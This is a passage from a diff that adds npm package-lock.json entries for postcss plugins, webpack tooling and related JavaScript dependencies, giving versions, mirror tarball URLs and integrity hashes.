"sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.1.0.tgz", + "integrity": "sha512-rm0bdSv4jC3BDma3s9H19ZddW0aHX6EoqwDYU2IfZhRN+53QrufTRo2IdkAbRqLx4R2IYbZnbjKKxg4VN5oU9Q==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^7.0.0", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default/node_modules/postcss-selector-parser": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/postcss-selector-parser/-/postcss-selector-parser-7.0.0.tgz", + "integrity": "sha512-9RbEr1Y7FFfptd/1eEdntyjMwLeghW1bHX9GWjXo19vx4ytPQhANltvVxDggzJl7mnWM+dX28kb6cyS/4iQjlQ==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/postcss-modules-scope/-/postcss-modules-scope-3.2.1.tgz", + "integrity": "sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-scope/node_modules/postcss-selector-parser": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/postcss-selector-parser/-/postcss-selector-parser-7.0.0.tgz", + "integrity": "sha512-9RbEr1Y7FFfptd/1eEdntyjMwLeghW1bHX9GWjXo19vx4ytPQhANltvVxDggzJl7mnWM+dX28kb6cyS/4iQjlQ==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz", + "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "dev": true, + "dependencies": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://registry.npmmirror.com/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "dev": true, + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", + "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==", + "dev": true, + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.2", + "resolved": "https://registry.npmmirror.com/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-svgo": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "2.8.8", + "resolved": "https://registry.npmmirror.com/prettier/-/prettier-2.8.8.tgz", + "integrity": "sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==", + "dev": true, + "optional": true, + "bin": { + "prettier": "bin-prettier.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "dev": true, + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/progress-webpack-plugin": { + "version": "1.0.16", + "resolved": "https://registry.npmmirror.com/progress-webpack-plugin/-/progress-webpack-plugin-1.0.16.tgz", + "integrity": "sha512-sdiHuuKOzELcBANHfrupYo+r99iPRyOnw15qX+rNlVUqXGfjXdH4IgxriKwG1kNJwVswKQHMdj1hYZMcb9jFaA==", + "dev": true, + "dependencies": { + "chalk": "^2.1.0", + "figures": "^2.0.0", + "log-update": "^2.3.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "peerDependencies": { + "webpack": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0" + } + }, + "node_modules/progress-webpack-plugin/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/progress-webpack-plugin/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/progress-webpack-plugin/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/progress-webpack-plugin/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/progress-webpack-plugin/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/progress-webpack-plugin/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/progress-webpack-plugin/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmmirror.com/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dev": true, + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmmirror.com/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" + }, + "node_modules/pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/pseudomap/-/pseudomap-1.0.2.tgz", + "integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==", + "dev": true + }, + "node_modules/pump": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/pump/-/pump-3.0.2.tgz", + "integrity": "sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.13.0", + "resolved": "https://registry.npmmirror.com/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "dev": true, + "dependencies": { + "side-channel": "^1.0.6" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmmirror.com/raw-body/-/raw-body-2.5.2.tgz", + "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "dev": true, + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/read-pkg": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/read-pkg/-/read-pkg-5.2.0.tgz", + "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", + "dev": true, + "dependencies": { + "@types/normalize-package-data": "^2.4.0", + "normalize-package-data": "^2.5.0", + "parse-json": "^5.0.0", + "type-fest": "^0.6.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/read-pkg-up": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/read-pkg-up/-/read-pkg-up-7.0.1.tgz", + "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", + "dev": true, + "dependencies": { + "find-up": "^4.1.0", + "read-pkg": "^5.2.0", + "type-fest": "^0.8.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-pkg-up/node_modules/type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmmirror.com/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "dev": true + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.2.0", + "resolved": "https://registry.npmmirror.com/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.0.tgz", + "integrity": "sha512-DqHn3DwbmmPVzeKj9woBadqmXxLvQoQIwu7nopMc72ztvxVmVk2SBhSnx67zuye5TP+lJsb/TBQsjLKhnDf3MA==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.14.1", + "resolved": "https://registry.npmmirror.com/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz", + "integrity": "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw==", + "dev": true + }, + "node_modules/regenerator-transform": { + "version": "0.15.2", + "resolved": "https://registry.npmmirror.com/regenerator-transform/-/regenerator-transform-0.15.2.tgz", + "integrity": "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg==", + "dev": true, + "dependencies": { + "@babel/runtime": "^7.8.4" + } + }, + "node_modules/regexpp": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/regexpp/-/regexpp-3.2.0.tgz", + "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + } + }, + "node_modules/regexpu-core": { + "version": "6.2.0", + "resolved": "https://registry.npmmirror.com/regexpu-core/-/regexpu-core-6.2.0.tgz", + "integrity": "sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA==", + "dev": true, + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.2.0", + "regjsgen": "^0.8.0", + "regjsparser": "^0.12.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmmirror.com/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==", + "dev": true + }, + "node_modules/regjsparser": { + "version": "0.12.0", + "resolved": "https://registry.npmmirror.com/regjsparser/-/regjsparser-0.12.0.tgz", + "integrity": "sha512-cnE+y8bz4NhMjISKbgeVJtqNbtf5QpjZP+Bslo+UqkIt9QPnX9q095eiRRASJG1/tz6dlNr6Z5NsBiWYokp6EQ==", + "dev": true, + "dependencies": { + "jsesc": "~3.0.2" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmmirror.com/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/renderkid": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "dev": true, + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/requires-port/-/requires-port-1.0.0.tgz", + "integrity": 